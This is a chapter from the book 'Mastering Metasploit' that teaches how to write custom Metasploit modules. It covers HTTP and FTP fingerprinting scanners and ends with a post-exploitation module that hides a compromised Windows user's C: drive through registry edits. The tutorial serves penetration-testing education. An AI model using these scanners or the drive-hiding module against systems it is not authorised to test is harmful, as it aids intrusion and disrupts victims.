Mastering Metasploit
上QQ阅读APP看书,第一时间看更新

Developing custom modules

Let's dig deep into the process of writing a module. Metasploit has various modules such as payloads, encoders, exploits, NOPs, and auxiliaries. In this section, we will cover the essentials of developing a module; then, we will look at how we can actually create our own custom modules.

In this section, we will discuss auxiliary and post-exploitation modules. However, we will discuss exploit modules in detail in the next chapter as they are dedicated to building exploits. Coming back to this chapter, let's discuss the essentials of building a module first.

Building a module in a nutshell

Let's understand how things are arranged in the Metasploit framework as well as what all the components of Metasploit are and what they are meant to do.

The architecture of the Metasploit framework

Metasploit is composed of various components. These components include all the important libraries, modules, plugins, and tools. A diagrammatic view of the structure of Metasploit is as follows:

The architecture of the Metasploit framework

Let's see what these components are and how they work. The best to start with are the Metasploit libraries that act as the heart of Metasploit.

Let's understand the use of various libraries as explained in the following table:

We have different types of modules in Metasploit, and they differ in terms of their functionality. We have payloads modules for creating an access channel to the exploited system. We have auxiliary modules to carry out operations such as information gathering, fingerprinting, fuzzing an application, and logging in to various services. Let's examine the basic functionality of these modules, as shown in the following table:

Understanding the libraries' layout

Metasploit modules are the buildup of various functions contained in different libraries and the general Ruby programming. Now, to use these functions, first we need to understand what these functions are. How can we trigger these functions? What number of parameters do we need to pass? Moreover, what will these functions return?

Let's have a look at where these libraries are actually located; this is illustrated in the following screenshot:

Understanding the libraries' layout

As we can see in the preceding screenshot, we have the REX libraries located in the /lib directory; under the /msf folder, we have the /base and /core library directories.

Now, under the core libraries' folder, we have libraries for all the modules we covered earlier; this is illustrated in the following screenshot:

Understanding the libraries' layout

We will get started with writing our very first auxiliary module shortly. So, let's focus on the auxiliary modules first and check what is under the hood. Looking into the library for auxiliary modules, we will find that we have various library files to perform a variety of tasks, as shown in the following screenshot:

Understanding the libraries' layout

These library files provide the core for auxiliary modules. However, for different operations and functionalities, we can refer to any library we want. Some of the most widely used library files in most Metasploit modules are located in the core/exploits/ directory, as shown in the following screenshot:

Understanding the libraries' layout

We can find all other core libraries for various types of modules in the core/ directory. Currently, we have core libraries for exploits, payload, post-exploitation, encoders, and various other modules.

Tip

Visit the Metasploit Git repository at https://github.com/rapid7/metasploit-framework to access the complete source code.

Understanding the existing modules

The best way to start with writing modules is to delve deeper into the existing Metasploit modules and see how they work. Let's perform in exactly the same way and look at some modules to find out what happens when we run these modules.

Let's work with a simple module for an HTTP version scanner and see how it actually works. The path to this Metasploit module is /modules/auxiliary/scanner/http/http_version.rb. Let's examine this module systematically:

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
require 'rex/proto/http'
require 'msf/core
class Metasploit3 < Msf::Auxiliary

Let's discuss how things are arranged here. The lines starting with the # symbol are the comments and are generally included in all Metasploit modules. The require 'rex/proto/http' statement asks the interpreter to include a path to all the HTTP protocol methods from the REX library. Therefore, the path to all the files from the /lib/rex/proto/http directory is now available to the module as shown in the following screenshot:

Understanding the existing modules

All these files contain a variety of HTTP methods, which include functions to set up a connection, the GET and POST request and response handling, and so on.

In the next step, the require 'msf/core' statement is used to include a path for all the significant core libraries. These core libraries are located at the core directory under /lib/msf as shown in the following screenshot:

Understanding the existing modules

The class Metasploit3 statement defines the given code intended for Metasploit Version 3 and above. However, Msf::Auxiliary defines the code as an auxiliary type module. Let's now continue with the code as follows:

  # Exploit mixins should be called first
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::WmapScanServer
  # Scanner mixin should be near last
  include Msf::Auxiliary::Scanner

This section includes all the necessary library files that contain methods used in the modules. The include Msf::Exploit::Remote::HttpClient statement will include the /lib/msf/core/exploit/http/client.rb file. We are able to include this module only because we have defined the require 'msf/core' statement in the preceding section. This library file will provide various methods such as connecting to the target, sending a request, disconnecting a client, and so on and so forth.

The include Msf::Auxiliary::WmapScanServer statement will include the wmapmodule.rb file under /lib/msf/core/auxiliary. This file contains all the WMAP add-on features. Now, you might be wondering, what is WMAP? WMAP is a web-application-based vulnerability scanner add-on for the Metasploit framework that aids web testing using Metasploit. The include Msf::Auxiliary::Scanner statement will include the scanner.rb file under /lib/msf/core/auxiliary. This file contains all the various functions for scanner-based modules. This file supports various methods such as running a module, initializing and scanning the progress, and so on. Let's look at the next piece of code:

  def initialize
    super(
      'Name'        => 'HTTP Version Detection',
      'Description' => 'Display version information about each system',
      'Author'      => 'hdm',
      'License'     => MSF_LICENSE
    )

    register_wmap_options({
        'OrderID' => 0,
        'Require' => {},
      })
  end

This part of the module defines an initialize method. This method is the default constructor method in the Ruby programming language. This method initializes the basic parameters of this Metasploit module such as Name, Author, Description, and License for the various Metasploit modules and the WMAP parameters. Now, let's have a look at the last section of the code:

  def run_host(ip)
    begin
      connect
      res = send_request_raw({'uri' => '/', 'method' => 'GET' })
      return if not res
      fp = http_fingerprint(:response => res)
      print_status("#{ip}:#{rport} #{fp}") if fp
      rescue ::Timeout::Error, ::Errno::EPIPE
    end
  end
end

This section marks the actual working of the module. Here, we have a method named run_host with IP as the parameter to establish a connection to the required host. The run_host method is referred from the /lib/msf/core/auxiliary/scanner.rb library file. This method is preferred in single IP-based tests as shown in the following screenshot:

Understanding the existing modules

Next, we have the begin keyword, which denotes the beginning of the method. In the next statement, we have the connect method, which establishes an HTTP connection to the server. This method is from the /lib/msf/core/auxiliary/scanner.rb library file.

We will define a variable named res in the next statement. We will use the send_raw_request method from the /core/exploit/http/client.rb file with the parameter URI as / and set the method for the request as GET:

Understanding the existing modules

This method will help you to connect to the server, create the request, send the request, and read the response. We save this response in the res variable.

This method passes all the parameters to the request_raw method from the /rex/proto/http/client.rb file where all these parameters are checked. We have plenty of parameters that can be set in the list of parameters. Let's see what they are:

Understanding the existing modules

Next, res is a variable that stores the results. Now, the next instruction denotes that if the request is not successful, return. However, when it comes to a successful request, execute the next command that will run the http_fingerprint method from the /lib/msf/core/exploit/http/client.rb file and store the result in a variable named fp. This method will record and filter out information such as Set-cookie, Powered-by, and so on. This method requires an HTTP response packet in order to make calculations. So, we will supply :response => res as a parameter, which denotes that fingerprinting should occur on data received from the request generated previously using res. However, if this parameter is not given, it will redo everything and get the data again from the source. In the next line, we simply print out the response. The last line, rescue ::Timeout::Error, ::Errno::EPIPE, will handle exceptions if the module times out.

Now, let's run this module and see what the output is:

Understanding the existing modules

We have now seen how a module actually works. Let's take this a step further and try writing our own custom module.

Writing out a custom FTP scanner module

Let's try and build a simple module. We will write a simple FTP fingerprinting module and see how things work. Let's examine the code for the FTP module:

require 'msf/core'
class Metasploit3 < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Scanner
  def initialize
    super(
      'Name'        => 'Apex FTP Detector',
      'Description' => '1.0',
      'Author'      => 'Nipun Jaswal',
      'License'     => MSF_LICENSE
    )
    register_options(
      [
        Opt::RPORT(21),
      ], self.class)
  End

We start our code by defining the required libraries to refer to. We define the statement require 'msf/core' to include the path to the core libraries at the very first step. Then, we define what kind of module we are creating; in this case, we are writing an auxiliary module exactly the way we did for the previous module. Next, we define the library files we need to include from the core library set.

Here, the include Msf::Exploit::Remote::Ftp statement refers to the /lib/msf/core/exploit/ftp.rb file and include Msf::Auxiliary::Scanner refers to the /lib/msf/core/auxiliary/scanner.rb file. We have already discussed the scanner.rb file in detail in the previous example. However, the ftp.rb file contains all the necessary methods related to FTP, such as methods for setting up a connection, logging in to the FTP service, sending an FTP command, and so on. Next, we define the information of the module we are writing and attributes such as name, description, author name, and license in the initialize method. We also define what options are required for the module to work. For example, here we assign RPORT to port 21 by default. Let's continue with the remaining part of the module:

  def run_host(target_host)
    connect(true, false)
    if(banner)
    print_status("#{rhost} is running #{banner}")
    end
    disconnect
  end
end

We define the run_host method, which will initiate the process of connecting to the target by overriding the run_host method from the /lib/msf/core/auxiliary/scanner.rb file. Similarly, we use the connect function from the /lib/msf/core/exploit/ftp.rb file, which is responsible for initializing a connection to the host. We supply two parameters into the connect function, which are true and false. The true parameter defines the use of global parameters, whereas false turns off the verbose capabilities of the module. The beauty of the connect function lies in its operation of connecting to the target and recording the banner of the FTP service in the parameter named banner automatically, as shown in the following screenshot:

Writing out a custom FTP scanner module

Now we know that the result is stored in the banner attribute. Therefore, we simply print out the banner at the end and we disconnect the connection to the target.

This was an easy module, and I recommend that you should try building simple scanners and other modules like these.

Nevertheless, before we run this module, let's check whether the module we just built is correct with regards to its syntax or not. We can do this by passing the module from an in-built Metasploit tool named msftidy as shown in the following screenshot:

Writing out a custom FTP scanner module

We will get a warning message indicating that there are a few extra spaces at the end of line number 19. Therefore, when we remove the extra spaces and rerun msftidy, we will see that no error is generated. This marks the syntax of the module to be correct.

Now, let's run this module and see what we gather:

Writing out a custom FTP scanner module

We can see that the module ran successfully, and it has the banner of the service running on port 21, which is Baby FTP Server.

Note

For further reading on the acceptance of modules in the Metasploit project, refer to https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements.

Writing out a custom HTTP server scanner

Now, let's take a step further into development and fabricate something a bit trickier. We will create a simple fingerprinter for HTTP services, but with a slightly more complex approach. We will name this file http_myscan.rb as shown in the following code snippet:

require 'rex/proto/http'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  def initialize
    super(
      'Name'        => 'Server Service Detector',
      'Description' => 'Detects Service On Web Server, Uses GET to Pull Out Information',
      'Author'      => 'Nipun_Jaswal',
      'License'     => MSF_LICENSE
    )
  end

We include all the necessary library files as we did for the previous modules. We also assign general information about the module in the initialize method, as shown in the following code snippet:

  def os_fingerprint(response)
                if not response.headers.has_key?('Server')
                        return "Unknown OS (No Server Header)"
                end
                case response.headers['Server']
                when /Win32/, /\(Windows/, /IIS/
                        os = "Windows"
                when /Apache\//
                        os = "*Nix"
                else
                        os = "Unknown Server Header Reporting: "+response.headers['Server']
                end
                return os
    end
  def pb_fingerprint(response)
                if not response.headers.has_key?('X-Powered-By')
                        resp = "No-Response"
    else
                resp = response.headers['X-Powered-By']
    end
    return resp
   end

def run_host(ip)
    connect
    res = send_request_raw({'uri' => '/', 'method' => 'GET' })
    return if not res
    os_info=os_fingerprint(res)
    pb=pb_fingerprint(res)
    fp = http_fingerprint(res)
    print_status("#{ip}:#{rport} is running  #{fp} version And Is Powered By: #{pb} Running On #{os_info}")
  end
end

The preceding module is similar to the one we discussed in the very first example. We have the run_host method here with ip as a parameter, which will open a connection to the host. Next, we have send_request_raw, which will fetch the response from the website or web server at / with a GET request. The result fetched will be stored into the variable named res.

We pass the value of the response in res to the os_fingerprint method. This method will check whether the response has the Server key in the header of the response; if the Server key is not present, we will be presented with a message saying Unknown OS.

However, if the response header has the Server key, we match it with a variety of values using regex expressions. If a match is made, the corresponding value of os is sent back to the calling definition, which is the os_info parameter.

Now, we will check which technology is running on the server. We will create a similar function, pb_fingerprint, but will look for the X-Powered-By key rather than Server. Similarly, we will check whether this key is present in the response code or not. If the key is not present, the method will return No-Response; if it is present, the value of X-Powered-By is returned to the calling method and gets stored in a variable, pb. Next, we use the http_fingerprint method that we used in the previous examples as well and store its result in a variable, fp.

We simply print out the values returned from os_fingerprint, pb_fingerprint, and http_fingerprint using their corresponding variables. Let's see what output we'll get after running this module:

Msf auxiliary(http_myscan) > run
[*]192.168.75.130:80 is running Microsoft-IIS/7.5 version And Is Powered By: ASP.NET Running On Windows
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Writing out post-exploitation modules

Now, as we have seen the basics of module building, we can take a step further and try to build a post-exploitation module. A point to remember here is that we can only run a post-exploitation module after a target compromises successfully. So, let's begin with a simple drive disabler module which will disable C: at the target system:

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'
class Metasploit3 < Msf::Post
  include Msf::Post::Windows::Registry
  def initialize
    super(
        'Name'          => 'Drive Disabler Module',
        'Description'   => 'C Drive Disabler Module',
        'License'       => MSF_LICENSE,
        'Author' => 'Nipun Jaswal'
      )
  End

We started in the same way as we did in the previous modules. We have added the path to all the required libraries we need in this post-exploitation module. However, we have added include Msf::Post::Windows::Registry on the 5th line of the preceding code, which refers to the /core/post/windows/registry.rb file. This will give us the power to use registry manipulation functions with ease using Ruby mixins. Next, we define the type of module and the intended version of Metasploit. In this case, it is Post for post-exploitation and Metasploit3 is the intended version. We include the same file again because this is a single file and not a separate directory. Next, we define necessary information about the module in the initialize method just as we did for the previous modules. Let's see the remaining part of the module:

def run
key1="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\"
print_line("Disabling C Drive")
meterpreter_registry_setvaldata(key1,'NoDrives','4','REG_DWORD')
print_line("Setting No Drives For C")
meterpreter_registry_setvaldata(key1,'NoViewOnDrives','4','REG_DWORD')
print_line("Removing View On The Drive")
print_line("Disabled C Drive")
end
end #class

We created a variable called key1, and we stored the path of the registry where we need to create values to disable the drives in it. As we are in a meterpreter shell after the exploitation has taken place, we will use the meterpreter_registry_setval function from the /core/post/windows/registry.rb file to create a registry value at the path defined by key1.

This operation will create a new registry key named NoDrives of the REG_DWORD type at the path defined by key1. However, you might be wondering why we have supplied 4 as the bitmask.

To calculate the bitmask for a particular drive, we have a little formula, 2^([drive character serial number]-1) . Suppose, we need to disable the C drive. We know that character C is the third character in alphabets. Therefore, we can calculate the exact bitmask value for disabling the C drive as follows:

2^ (3-1) = 2^2= 4

Therefore, the bitmask is 4 for disabling C:.

We also created another key, NoViewOnDrives, to disable the view of these drives with the exact same parameters.

Now, when we run this module, it gives the following output:

Writing out post-exploitation modules

So, let's see whether we have successfully disabled C: or not:

Writing out post-exploitation modules

Bingo! No C:. We successfully disabled C: from the user's view. Therefore, we can create as many post-exploitation modules as we want according to our need. I recommend you put some extra time toward the libraries of Metasploit.

Make sure you have user-level access rather than SYSTEM for the preceding script to work, as SYSTEM privileges will not create the registry under HKCU. In addition to this, we have used HKCU instead of writing HKEY_CURRENT_USER, because of the inbuilt normalization that will automatically create the full form of the key. I recommend you check the registry.rb file to see the various available methods.